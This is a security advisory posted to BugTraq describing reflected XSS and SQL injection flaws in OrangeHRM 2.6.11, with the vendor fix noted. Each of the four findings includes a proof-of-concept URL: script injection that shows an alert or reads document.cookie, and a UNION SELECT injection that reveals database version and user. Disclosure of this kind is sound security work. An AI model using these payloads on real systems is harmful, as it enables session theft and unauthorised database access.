BugTraq
Multiple vulnerabilities in OrangeHRM Nov 30 2011 10:35AM
advisory htbridge ch
Vulnerability ID: HTB23057
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_orangehrm.h
tml
Product: OrangeHRM
Vendor: OrangeHRM Inc. ( http://www.orangehrm.com )
Vulnerable Version: 2.6.11 and probably prior
Tested Version: 2.6.11
Vendor Notification: 09 November 2011
Vulnerability Type: XSS, SQL injection
Status: Fixed by Vendor
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

Vulnerability Details:
1) Input passed via the "uniqcode" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/index.php?menu_no_top=eim&uniqcode=%22%3E%3C/iframe%3E%3Cs
cript%3Ealert%28123%29;%3C/script%3E

2) Input passed via the "isAdmin" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/index.php?menu_no_top=eim&uniqcode=USR&isAdmin=%22%3E%3C/i
frame%3E%3Cscript%3Ealert%28123%29;%3C/script%3E

3) Input appended to the URL after /lib/controllers/centralcontroller.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site

The following PoC code is available:

http://[host]/lib/controllers/centralcontroller.php/%22%3E%3Cscript%3Eal
ert%28document.cookie%29;%3C/script%3E/?uniqcode=USR&VIEW=MAIN&isAdmin=1

4) Input passed via the "id" GET parameter to /lib/controllers/centralcontroller.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/lib/controllers/centralcontroller.php?capturemode=updatemo
de&uniqcode=NAT&id=1%27%20union%20select%20version%28%29,user%28%29%20--
%20

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.

Solution: Upgrade to the version 2.6.11.2

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus